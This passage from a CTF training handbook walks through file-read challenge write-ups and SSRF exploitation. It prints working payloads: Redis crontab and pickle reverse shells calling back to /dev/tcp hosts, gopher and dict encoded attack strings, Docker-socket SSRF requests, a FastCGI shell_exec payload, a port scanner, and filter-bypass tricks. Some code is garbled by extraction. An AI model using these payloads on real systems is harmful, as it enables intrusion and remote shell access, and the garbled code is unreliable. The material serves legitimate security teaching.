application, but when accessing the application, only Oh Hacked is displayed,
and no other output is available. There is a Discuz! X 3.4 application with
Apache as a container on other ports under the same IP.
...
$flag = "xxxxxxxxx";
include 'safe.php';
if($_REQUEST['passwd']='jiajiajiajia') {
echo $flag;
}
...
【Difficulty】 Moderate.
【Knowledge】 Nginx has a vulnerability that allows unauthorized access to a
directory, leading to a file reading vulnerability; construct a zip file with a soft link
66 1 Introduction to the Web
file, upload the zip file and read target files; Discuz!X 3.4 has arbitrary file deletion
vulnerability.
【Challenge solving】 Scan the directory to find .DS_Store (a file automatically
generated by default under macOS, which is mainly used to record the location of
files in the directory, so there will be file names and other information), and get all
sub-dirs and files in the current directory by parsing the .DS_Store file.
I found an extra space at the end of the upload directory name and thought that a
vulnerability in Nginx parsing (CVE-2013-4547) could be used to bypass the
pwnhub directory permissions restriction. The idea is to use the Nginx parsing
vulnerability to fail to match the regular expression /pwnhub in the Nginx configu-
ration file, see Fig. 1.78.
In the /pwnhub directory, there exists a directory of the same level in which the
PHP file exists. Requesting the PHP file, an upload form is found to exist. See
Fig. 1.79.
Upload the TAR archive file through the PHP file, and find that the application
will automatically decompress the uploaded archive (tarfile.open), so you can first
construct the soft link file locally with the command ln -s, modify the file name to
xxx.cfg, and then compress it with tar command. After uploading the TAR package,
it will output a soft link to the file's contents (see Fig. 1.80).
Reading /etc/crontab reveals that a strange cron task has been started in crontab.
1.3 Arbitrary File Read Vulnerability 67
30 * * * * root sh /home/jdoajdoiq/jdijiqjwi/jiqji12i3198ua
x192/cron_run.sh
Read the sh script called in crontab and find a Python script running internally;
then read the Python script to get the leaked mailbox account and password, log in to
the mailbox and get the leaked VPN account and password (see Fig. 1.81).
68 1 Introduction to the Web
After successfully connecting to the VPN, I scanned the VPN's intranet and found
the deployed Discuz!X 3.4 application and a flag reading service. Using arbitrary file
deletion vulnerability of Discuz!X 3.4 to delete safe.php, see Fig. 1.82.
【Summary】 ① The challenge resolution process is long, and players should have
clear ideas.
② In addition to directory traversal caused by improper configuration of Nginx, it
also has historical vulnerabilities that can leak information.
The idea of solving this problem is shown in Fig. 1.83. There are many challenges to
read arbitrary files by constructing soft links, such as extract0r of 34c3CTF, which
will not be introduced in detail here.
【Intro】 It starts with a login page, as shown in Fig. 1.84. On the challenge website, it
is found that there is a .git directory. The program's source code can be restored
through the GitHack tool, and the restored source code can be audited. It is found
that there is a secondary injection, as shown in Fig. 1.85.
1.3 Arbitrary File Read Vulnerability 69
【Difficulty】 Moderate.
【Knowledge】 Source code leakage caused by the undeleted .git directory; sec-
ondary injection (MySQL); read file content through injection vulnerability
(load_file) (.bash_history->.DS_Store->flag)
【Challenge solving】 BurpSuite’s Intruder module is used to brute force 3 bytes
after the password, and the parameter settings are shown in Fig. 1.86.
Restore the application source code through the leak of the git directory, and find
SQL injection (secondary injection) through auditing the source code, and exploit
the injection vulnerability, but it is found that there is no flag in the database; try to
use load_file to read the content of the /etc/passwd file, and it succeeds. Record the
70 1 Introduction to the Web
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
According to the hint of the content of the .bash_history file, read /tmp/.
DS_Store, find and read the flag file flag_ 8946e1ff1ee3e40f.php (note that the
load_file result needs to be encoded here, such as using the hex function of MySQL).
【Summary】 This challenge is a typical file reading and exploiting chain. After
exploiting MySQL injection, more directory information must be leaked through .
bash_history and then read other files in the collected information.
【Intro】 The service of this challenge includes registration and login functions. After
logging in with the administrator account, you can upload AVI files and automati-
cally convert the uploaded AVI files into MP4 files.
【Difficulty】 Easy.
【Knowledge】 Use inline comments to bypass SQL injection WAF; exploiting a
vulnerability of FFMPEG to read arbitrary files.
【Challenge solving】 When encountering a CTF Web challenge with login and
registration functions, first try SQL injection. Through black-box testing, it is found
that there are INSERT injection vulnerabilities in the registration stage. When
1.3 Arbitrary File Read Vulnerability 71
in-depth exploitation, it will be found that there is WAF, and then use inline
comments to bypass WAF (/ *!50001select*/), see Fig. 1.87.
Continue to obtain data through the injection vulnerability, obtain the adminis-
trator account, encrypted password, and encryption key (st_key), and obtain the
plaintext password through AES decryption.
Use the injected username and password to log in to the administrator account and
find the video format conversion function on the administrator page. It is guessed
that the content of the challenge is an arbitrary file reading vulnerability of FFMPEG.
Use a known exploit script to generate a malicious AVI file and upload it,
download the converted video, and play the video to find that the file content (/etc/
passwd) can be successfully read, as shown in Fig. 1.88.
According to the contents of the /etc/passwd file, we found that there is a user
named s0m3b0dy, and guessed that the flag is in his user directory, i.e., /home/
s0m3b0dy/flag(.txt); continued to read the flag through the FFMPEG file reading
vulnerability, and found that the flag was successfully obtained, see Fig. 1.89.
72 1 Introduction to the Web
【Intro】 The function provided by the challenge can render the content of the online
editor Markdown (hackmd) into a printable form. Rendering methods are divided
into client-side local rendering and server-side remote rendering.
The client can perform local debugging, and the code for the remote rendering
part of the server is as follows:
1.3 Arbitrary File Read Vulnerability 73
// render.js
const {Router} = require('address')
const {matchesUA} = require('browserslist-useragent')
const router = Router()
const axios = require('axios')
const md = require('... /.. /plugins/md_srv')
module.exports = router
The Docker environment exists on the server, and the Docker service is started.
The path of the flag on the server is /flag.
【Difficulty】 Difficult.
【Knowledge】 JavaScript prototype pollution; Axios SSRF (UNIX Socket) attack
on Docker API to read local files.
【Challenge solving】 Audit the client-side code obfuscated by Webpack, find the
logic related to server-side communication in the application, and de-obfuscate the
obfuscated code. The source code obtained is as follows:
validate: function(e) {
return e.query.url && e.query.url.starsWith("https://hackmd.io/")
},
asyncData: function(ctx) {
if(!ctx.query.url.endsWith("/download")){
ctx.query.url += "/download";
}
ctx.query.ua = ctx.req.headers["user-agent"] || "";
return axios.post("/api/render", qs.stringify({... .ctx.query})).
then(function(e) {
return {
... .e.data,
url: ctx.query.url
}
})
74 1 Introduction to the Web
},
mounted: function() {
if (!this.ssr){
axios(this.url).then(function(t) {
this.mdbody = md.render(t.data)
})
}
}
Then use HTTP parameter pollution to bypass the restrictions of startsWith, and
at the same time, use prototype pollution on req.body.url (server), so that the server
Axios will be passed into the socketPath and url parameters when requesting. Then
use the SSRF vulnerability to attack the Docker API, pull /flag into the Docker
container, and call the Docker API to read the files in the Docker.
The specific attack process is as follows.
① pull a lightweight image docker pull alpine:latest¼>:.
url[method]=post
&url[url]=http://127.0.0.1/images/create?fromImage=alpine:latest
&url[socketPath]=/var/run/docker.sock
&url=https://hackmd.io/aaa
url[method]=post
&url[url]=http://127.0.0.1/containers/ctf/start
&url[socketPath]=/var/run/docker.sock
&url=https://hackmd.io/aaa
url[method]=get
&url[url]=http://127.0.0.1/containers/ctf/archive?path=/
flagindocker
&url[socketPath]=/var/run/docker.sock
&url=https://hackmd.io/aaa
1.3 Arbitrary File Read Vulnerability 75
【Summary】 The challenge is very delicate and novel. Because Axios does not
support the File protocol, players need to use SSRF to control other applications on
the server to read files.
Similar to the Axios module, which can carry out UNIX Socket communication,
there is also the curl component.
By auditing the encrypted process, it was found that the secret text of the SQL
injection statement could be forged by the padding oracle attack, see Fig. 1.91, and
the SQL injection vulnerability continued to be exploited to get the user's mailbox
and mailbox password, see Fig. 1.92.
Using the mailbox information to log in, we get the leaked online document
address in the mailbox, open it to restore the historical version, and find the admin
password. The recovered admin password is used for logging in the Drupal’s admin
system, and the information in the admin system determines the corresponding
version of Drupal, and a deserialization vulnerability is found. The result of
1.3 Arbitrary File Read Vulnerability 77
【Intro】 The server of the challenge has a comment box. The comment box supports
XML syntax, which can cause XXE; half of the flags are stored in the configuration
file; there is a web service in the intranet.
【Difficulty】 Moderate.
【Knowledge】 Using the XXE vulnerability to read files and perform SSRF
attacks.
78 1 Introduction to the Web
According to the error message when testing the existence of XXE, you can find
the web directory location, read the source code of the web application using the
XXE vulnerability, and find that half of the flag content exists in the config.php file.
#/var/www/52dandan.cc/public_html/config.php
<?php
...
define(SECRETFILE,'/var/www/52dandan.com/public_html/
youwillneverknowthisfile_e2cd3614b63ccdcbfe7c
8f07376fe431');
...
?>
1.3 Arbitrary File Read Vulnerability 79
#youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431
Ok,you get the first part of flag : 5bdd3b0ba1fcb40
then you can do more to get more part of flag
Then you could search for the other half of the flag and fail. Then guessed that the
other half of the flag is in the intranet, so you could read /etc/host and /proc/net/arp to
get the intranet IP: 192.168.223.18.
Exploiting the XXE vulnerability to access port 80 of 192.168.223.18 (you can
also do a port scan, just guess the common ports here), a web service and SQL
injection is found on the 192.168.223.18 host. Use the blind injection to get the other
half of the flag.
【Summary】 This challenge examines the file reading and utilization method of
PHP XXE vulnerability. The protocol supported by the XML extension of different
languages may be different. PHP retains the PHP protocol very distinctively, so you
can use the Base64 Filter to encode the content of the file to avoid truncating the
Blind XXE due to special characters such as "&" and "<", which may lead to the
failure to exploit the vulnerability.
【Intro】 Using the Django framework to build a web service that uses pycurl to
request incoming links from users.
The source code for the link section of the request is as follows.
...
def download(self, url):
try:
c = pycurl.Curl()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.TIMEOUT, 10)
response = c.perform_rb()
c.close()
except pycurl.error:
response = b''
return response
...
80 1 Introduction to the Web
【Difficulty】 Difficult.
【Knowledge】 Attack on uwsgi through SSRF vulnerability.
【Challenge solving】 To read the file:///proc/mounts file through the file reading
vulnerability, you can see the mounting status of the Docker directory, as shown in
Fig. 1.95.
After successfully finding the directory, the entire application's source code can
be read through the file read vulnerability.
#! /bin/sh
BASE_DIR=$(pwd)
. /manage.py collectstatic --no-input
. /manage.py migrate --no-input
【Intro】 There is an obvious file inclusion vulnerability in the challenge, but the
known information is that the relative path of the flag... /.. /flag, and a WAF is found
when exploiting the file inclusion vulnerability, which prohibits relative path
hopping.
<?php
error_reporting(0);
$file_name = @$_GET['file'];
if (preg_match('/\. \cr. /', $file_name) ! == 0){
die("<h1> File names cannot have '...' </h1>");
}
...
【Difficulty】 Easy.
【Knowledge】 File reading vulnerabilities.
【Challenge solving】 Find the web directory by reading the Apache configuration
file. See Fig. 1.96.
Once the web directory is known, you can construct the absolute path of the flag
file directly from the web directory to bypass the relative path restriction and read the
flag, see Fig. 1.97.
【Summary】 This is a classic file reading challenge. It mainly examines the ability
of players to collect information on Web configuration files. You need to find Web
directories by reading Apache configuration files. By constructing absolute paths,
you can bypass the restrictions of relative paths to get the flag file.
Fig. 1.96 Find the web directory by reading the Apache configuration file
82 1 Introduction to the Web
1.4 Summary
Among CTF’s Web challenges, information collection, SQL injection, and arbitrary
file reading vulnerabilities are the most common and basic vulnerabilities. When
encountering web-type challenges in the competition, we can first determine whether
the above-mentioned web vulnerabilities are contained in the challenge and com-
plete the challenge.
Chapters 2 and 3 will introduce other common vulnerabilities from the
"advanced" and "extended" levels involved in web challenges. The web vulnerabil-
ities involved in the "advanced" level require readers to have a certain foundation
and experience. The "level" involves more complex vulnerabilities and technical
points; the "expansion" level involves more features related to Web challenges, such
as Python security issues.
Chapter 2
Advanced Web
Through the study of Chap. 1, you may have a basic understanding of Web
challenges. However, in actual competitions, the challenges are often composed of
multiple vulnerabilities, and the Web vulnerabilities mentioned in Chap. 1 are often
the introductory part of some complex challenges. For example, the back-end system
password is obtained through SQL injection, and there are upload vulnerabilities in
the back-end system. How to bypass uploading Webshell to get the flag becomes
the key.
This chapter will introduce readers to four kinds of Web vulnerabilities with
various exploit techniques and high frequency of competitions: SSRF vulnerabil-
ities, command execution vulnerabilities, XSS vulnerabilities, and file upload vul-
nerabilities. I hope readers can think about how to find “advanced” vulnerabilities
after discovering “introductory” vulnerabilities in the learning process of this chap-
ter. Understanding the causes and consequences of such vulnerabilities can we better
understand these “advanced” vulnerabilities. Such connection and combination also
contribute to the formation of ideas for solving Web challenges.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 83
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_2
84 2 Advanced Web
URI = scheme:[//authority]path[?query][#fragment]
The authority component is divided into the following three parts (see Fig. 2.1).
[userinfo@]host[:port]
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
header('content-type: image/png');
curl_close($ch);
echo $res;
?>
If the URL parameter is the address of an image, the image will be printed
directly, see Fig. 2.2.
However, since the URL parameter to obtain the image address is not filtered in
any way, an attacker can launch an SSRF attack by modifying the address or the
protocol. For example, modifying the requested URL to file:///etc/passwd will use
the FILE protocol to read the contents of the /etc/passwd file (the most common type
of attack), see Fig. 2.3.
SSRF vulnerabilities are typically found in scenarios where there are calls to external
resources, such as social service sharing features, image recognition services,
website capture services, remote resource requests (e.g., WordPress xmlrpc.php),
file processing services (e.g., XML parsing), etc. When testing SSRF-vulnerable
applications, you can try to control and support standard protocols, including but not
limited to the following.
86 2 Advanced Web
• file://: Get the contents of a file from the file system, such as file:///etc/passwd.
• dict://: The dictionary server protocol allows the client to access more dictionary
sources. The service version running on the target server can be obtained in
SSRF, see Fig. 2.4.
An SSRF vulnerability can directly detect the openness of a server port or even
intranet assets where a website is located. If it is determined that an SSRF vulner-
ability exists, the openness of the service can be determined by determining the
success or failure of the returned request. For example, a simple exploit can be
written in Python.
2.1 SSRF Vulnerabilities 87
# encoding: utf-8
import requests as req
import time
ports = ['80', '3306', '6379', '8080', '8000']
session = req.Session()
for i in xrange(255):
ip = '192.168.80.%d' % i
for ports in ports:
url = 'http://example.com/?url=http://%s:%s' % (ip, port)
try:
res = session.get(url, timeout=3)
if len(res.content) > 0:
print ip, port, 'is open'
except:
continue
print 'DONE'
1. Attack Redis
Redis generally runs on an intranet, and most users bind it to 127.0.0.1:6379, which
is generally empty. An attacker who gains unauthorized access to Redis through an
SSRF vulnerability may be able to add, check, delete, or change the contents of
Redis, or even write to Crontab, Webshell, and SSH public keys using the export
function (the owner of the file written using the export function is the startup user of
Redis, who is generally root, and will not be able to do so if the startup user has low
privileges). (Attack).
If one instruction is wrong, it will read the next one, so if you can control one of
the lines in the message you send, you can modify it to a Redis instruction and
execute the instruction in batches to complete the attack. If you can control multiple
lines of messages, then you can complete the attack in a single connection.
In an attack on Redis, typically a write to Crontab bounce shell, the usual attack
flow is as follows.
redis-cli flushall
echo -e "\n\n\n*/1 * * * * bash -i /dev/tcp/172.28.0.3/1234 0>&1\n\n" |
redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
At this point, we use socat to retrieve the packet with the following command.
Forwarding the local port 1234 to port 6379 and then executing the instructions of
the attack process, in turn, will yield the attack data, see Fig. 2.6.
Then, convert the data into Gopher protocol URLs by discarding the data starting
with “>” and “<”, which indicate the request and the return, and discarding the +OK
data, which indicates the return message. In the remaining data, replace “\r” with “%
2.1 SSRF Vulnerabilities 89
0d” and “\n” (a newline) with “%0a ”, where “$” is URL-encoded to give the
following string.
*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d
%0a1%0d%0a%2456%0d%0a%0a%0a*/1%20*%20*%20*%20bash%20-i%20> &%20/
dev/tcp/172.28.0.3/1234%200>&1%0a%0a%0d%0a
%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%
0d%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a*4%0d%0a%246%0d%0aconfig%
0d 0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%
0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
If you want to change the bounce IP and port directly in this string, you need to
change the preceding “$56” at the same time, where “56” is the length of the
command written in Crontab. For example, the string would be
To change the bounce IP to 172.28.0.33, you need to change “56” to “57” (56+1).
The constructed string is filled in for an attack, see Fig. 2.7, and five OKs are
90 2 Advanced Web
returned, corresponding to five commands, and a Crontab has been written on the
target machine, see Fig. 2.8.
Writing Webshell, etc., is the same as writing a file, just modify the directory, file
name, and write the content.
2. Attacking MySQL
To attack MySQL on an intranet, we need to understand its communication pro-
tocols: MySQL is divided into a client and a server, and there are four ways to
connect to the server from the client: UNIX sockets, memory shares, named pipes,
and TCP/IP sockets.
We rely on the fourth method of attack, which occurs when the MySQL client
connects and whether or not password authentication is required. When password
2.1 SSRF Vulnerabilities 91
authentication is required, the server sends a salt, and then the client uses the salt to
encrypt the password and authenticate. When password authentication is not
required, packets are sent directly using the fourth method. Therefore, logging in
and operating the MySQL database in non-interactive mode can only be done when
the empty password is not authorized.
Suppose we want to query the user table in the database on the target server. We
first create a new user table locally, then use tcpdump to capture the packets and
write the captured traffic to the file /pcap/mysql.pcap. The command is as follows.
After starting the packet capture, log in to the MySQL server and perform the
query, as shown in Fig. 2.9.
Then use Wireshark to open the /pcap/mysql.pcap packet, filter the MySQL
packet, select any packet and right-click it, select “Trace Stream ! TCP Stream”
from the pop-up shortcut menu, filter the packet from client to server, and finally
adjust the format to the following HEX dumps, see Fig. 2.10.
92 2 Advanced Web
The packets are obtained from the client to the server and the complete flow of
commands executed, and then URL-encoded to give the following data.
%a0%00%00%01%85%a6%7f%00%00%00%01%08%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%
76%65%5f%70%61%73%73%77%6f%72%64
%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%
6e%61%6d%65%08%6c%69%62%6d%79
%73%71%6c%04%5f%70%69%64%03%31%37%31%0f%5f%63%6c%69%65%6e%74%5f%
76%65%72%73%69%6f%6e%06%35%2e
%36%2e%34%34%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%
0c%70%72%6f%67%72%61%6d%5f%6e
%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%
40%40%40%76%65%72%73%69%6f%6e%5f
%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%
45%4c%45%43%54%20%44%41%54%41
%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%
68%6f%77%20%64%61%74%61%62%61
%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%
00%00%04%75%73%65%72%00%00%13%00%00
%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%
01%00%00%00%00%01
2.1 SSRF Vulnerabilities 93
The attack is performed to obtain the data in the user table, see Fig. 2.11.
3. PHP-FPM attacks
The following conditions are utilized: Libcurl, version 7.45.0 or higher; PHP-FPM,
listening port, version 5.3.3 or higher; and knowing the absolute path of any PHP file
on the server.
PHP-FPM is the process that implements and manages FastCGI. If FastCGI mode
is used in PHP-FPM, the communication can be divided into two types: TCP and
UNIX sockets.
In TCP mode, Nginx listens on a local port, the default port number is 9000, and
Nginx passes client data to port 9000 via FastCGI protocol.
The Nginx configuration file is as follows.
location ~ \cr.php$ {
index index.php index.html index.htm;
include /etc/nginx/fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
}
listen=127.0.0.1:9000
94 2 Advanced Web
Since we communicate with PHP-FPM via FastCGI, we can forge the FastCGI
protocol package to execute arbitrary PHP code, which can only transfer configura-
tion information, file names that need to be executed, and client-side data such as
GET, POST, cookies, etc., and then execute arbitrary code by changing the config-
uration information.
There are two handy configuration items in php.ini.
• auto_prepend_file: Contains the file specified in auto_prepend_file before exe-
cuting the target file and can use pseudo-protocols such as php://input.
• auto_append_file: a file containing the file pointed to by auto_append_file after
executing the target file.
If you set auto_prepend_file to php://input, each file will contain the POST data
before execution, but php://input needs to enable allow_url_include. This configu-
ration can only be changed in php.ini, but the PHP_ADMIN_VALUE option in the
FastCGI protocol can be used to change almost any configuration (disable_functions
cannot be changed), and allow_url_include can be changed to True by setting PHP_
ADMIN_VALUE. This allows arbitrary code execution via the FastCGI protocol.
Use the Exploit, which is publicly available online at the following address.
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
You need to know the absolute path of a PHP file on the server because it is
determined to include whether the file exists or not and the security.limit_extensions
configuration item must be followed by .php. Generally, you can use the default /var/
www/html/index.php. If you cannot know the web directory, you can see the list of
files in the default PHP installation. See Fig. 2.12.
The results of the attack using Exploit are shown in Fig. 2.13.
Use nc to listen on a port and get attack traffic. See Fig. 2.14. URL-encoding the
data therein yields.
%01%01%03%EF%00%08%00%00%00%00%01%00%00%00%00%00%00%00%00%01%04%
03%EF%01%E7%00%00%0E%02CONTENT_LENGTH41
0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%
09SERVER_NAMElocalhost%11%0BGATEWAY_
interfacefastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%
09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_
FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/
lib/php/PEAR.php%09%1FPHP_VALUEa
uto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%
02SERVER_PORT80%0F%08SERVER_
PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%
16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUME
NT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/
lib/php/PEAR.php%01%04%03%EF%00%0
0%00%00%01%05%03%EF%00%29%00%00%3C%3Fphp%20var_dump%28shell_exec%
28%27uname%20-a%27%29%29%3B%3F
%3E%01%05%03%EF%00%00%00%00%00%00
2.1 SSRF Vulnerabilities 95
<?php
var_dump(shell_exec($_POST['command']));
?>
Listen locally on any port, and then make a POST request to capture the requested
packet (see Fig. 2.16).
96 2 Advanced Web
The port number of the listener is removed, resulting in the following packet.
POST / HTTP/1.1
Host: 127.0.0.1
2.1 SSRF Vulnerabilities 97
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 16
Content-Type: application/x-www-form-urlencoded
command=ls -la /
Change it to the URL of the Gopher protocol and change the rules as above.
Execute the uname -a command.
POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-
Agent:%20curl/7.52.1%0d%0aAccept:%20*/*%0d%0aContent-Length:%
2016%0d%0aContent-
Type:%20application/x-www-form-urlencoded%0d%0a%0d%
0acommand=uname%20-a
There are already people who have summarized various protocols and written scripts
for automatic conversions, so there is no need for manual packet capture and
conversion in most cases. The recommended tool, https://github.com/tarunkant/
Gopherus, is shown in Fig. 2.18.
SSRF also has some WAF bypass scenarios, which will be briefly analyzed in this
section.
2.1.4.1 IP Restrictions
Use Enclosed alphanumerics instead of numbers in the IP or letters in the URL (see
Fig. 2.19), or use periods instead of dots (see Fig. 2.20).
If server-side filtering uses regular expressions to filter IP addresses belonging to
the intranet, you can bypass it by converting the IP address to hexadecimal, e.g.,
127.0.0.1 to hexadecimal for the request, see Fig. 2.21.
The IP address can be converted to decimal, octal, and hexadecimal, respectively
2130706433, 17700000001, and 7F000001. When the request is made after conver-
sion, 0x should be added before hexadecimal, and 0 should be added before octal,
see Fig. 2.22.
2.1 SSRF Vulnerabilities 99
In addition, there are particular ways to write IP addresses. For example, under
Windows, 0 stands for 0.0.0.0, while under Linux, 0 stands for 127.0.0.1, see
Fig. 2.23. So, in some cases, http://0进行请求127.0.0.1 can be used. An address
like 127.0.0.1, which has a 0 in the middle, can have 0 Omitted, see Fig. 2.24.
A service called xip.io exists on the network that redirects to any service subdomain
when accessed, such as 127.0.0.1.xip.io, see Fig. 2.25.
100 2 Advanced Web
One possible problem with this approach is that there is a keyword 127.0.0.1 in
the incoming URL, which is usually filtered, so we can redirect it to a specific IP
address using a short URL, such as the short URL http://dwz.cn/11SMa, see
Fig. 2.26.
Sometimes the server may filter many protocols. For example, only “http” or
“https” is allowed in the incoming URL, so you can write a 302 redirection on your
server and use the Gopher protocol to attack the intranet. Redis, see Fig. 2.27.
2.1 SSRF Vulnerabilities 101
There have been several challenges in the CTF online competition that exploit
differences in component parsing rules and result in bypasses.
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result = preg_match('/^(http|https)? :\/\/. *(\cr/)? *$/',
$url);
$match_result) $match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
102 2 Advanced Web
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname = $url_parse['host'];
$ip = gethostbyname($hostname);
$int_ip = ip2long($ip);
return ip2long('127.0.0.0') >>24 == $int_ip>>24 || ip2long
('10.0.0.0') >>24 ==
$int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 ||
ip2long('192.168.0.0') >>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
104 2 Advanced Web
if(!empty($url)){
safe_request_url($url);
}
?>
In some cases, filtering for SSRF may occur as follows: the host is extracted from the
incoming URL, then DNS resolution is performed, the IP address is obtained, the IP
address is checked to see if it is legitimate, and if it passes, then the curl is requested
again. If the DNS resolution of the first request returns a normal address, but the
DNS resolution of the second request returns a malicious address, then the DNS
rebinding attack is complete.
2.1 SSRF Vulnerabilities 105
A DNS rebinding attack first requires the attacker to have a domain name of its
own, usually in two ways. The first is to bind two records, see Fig. 2.29, where the
resolution is random but not necessarily alternate. Therefore, this method requires a
certain probability of success.
The second approach is more stable, where you build your DNS server and run
your resolution service on it so that it returns something different every time.
Add two resolutions to the domain name, an A record to the server address and an
NS record to the address of the previous record.
The DNS Server code is as follows:
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
1. Web300 short domain name tool for the 13th CUIT school competition, Fat
Harbor Cup
The WAF will resolve the domain’s IP address the first time and then determine if it
is an intranet IP. If not, then use CURL to request the domain. This involves the
CURL requesting the domain name a second time, resolving it, and then making a
new request to the DNS server for an intranet IP, thus bypassing the restriction. See
Sect 1.3.4.4 for the actual effect.
In the title, request http://domain/tools.php?a¼s&u¼http://ip:88/_testok equal
to http://127.0.0.1/ tools.php?a¼s&u¼http://ip:88/_testok; meanwhile, information
can be gathered from the There is a lot of helpful information available in phpinfo,
such as the host of Redis, as shown in Fig. 2.31.
In addition, libcurl is an older version of 7.19.7, which only supports TFTP, FTP,
Telnet, DICT, HTTP, and FILE protocols, and generally uses the Gopher protocol to
attack Redis, but uses the DICT protocol to attack Redis as well.
54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:
set:dir:/var/spool/cron/ 54.223.247.98:2222/tools.php?a=s&u
=dict://www.x.cn:6379/config:set:dbfilename:root 54.223.247.98:2222/
tools.php?a=s&u=dict://www.x.cn:6379/set:0:"\x0a\x0a*/1\cr x20*
\x20*\x20*.
\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/8888\x200>\x261
\x0a\x0a\x0a" 54.223.247.98:2222/tools.php?a=s&u=dict:/ /www.x.
cn:6379/save
First, log in at random and find a session value for the flask, and after logging in,
make a request to your VPS as a function of the request, and you will get the
information shown in Fig. 2.33.
The critical information is that Python 3 and urllib are used, and viewing the
return package yields the information shown in Fig. 2.34.
Seeing the Nginx in the returned package, an experienced participant would guess it
is a directory traversal vulnerability due to an Nginx configuration error ./__pycache__/
to get the pyc file. Without knowing the filename, it is possible to traverse common
filenames to get main.cpython-37.pyc and views.cpython-37.pyc, see Fig. 2.35.
The request function was then tested and found that requests for local addresses
were not allowed, see Fig. 2.36.
It is straightforward to bypass the local filtering here, and the code is not very
strict, use 0 for localhost, see Fig. 2.37.
This is the first time I have used CVE-2019-9740 (Python urllib CRLF injection)
to attack Redis. We can write a malicious serialized string through this CRLF
vulnerability and then visit the page to trigger a bounce back to the shell to write
the malicious string. The serialized string code is as follows.
import sys
import requests
import pickle
import urllib
class Exploit():
def __init__(self, host, port):
self.url = 'http://%s:%s' % (host, port)
self.req = requests.
def random_str(self):
import random, string
return ''.join(random.sample(string.ascii_letters, 10))
110 2 Advanced Web
def do_exploit(self):
self.req.post(self.url + '/login/', data={"username":self.
random_str()})
payload2 = '0:6379?\r\nSET session:34d7439d-d198-4ea9-bcc6-
11c0fb7df25a"\x80\cr\cr\x80\cr\n
x03cposix\crnsystem\nq\cr\x\x00\x00\x\x00\x00bash -c\cr\"sh
-i >& /dev/tcp/
172.20.0.3/1234 0>&1\cr"q\x\x01\x85q\x02Rq\x03."\r\n'
res = self.req.post(self.url + '/request/', data={
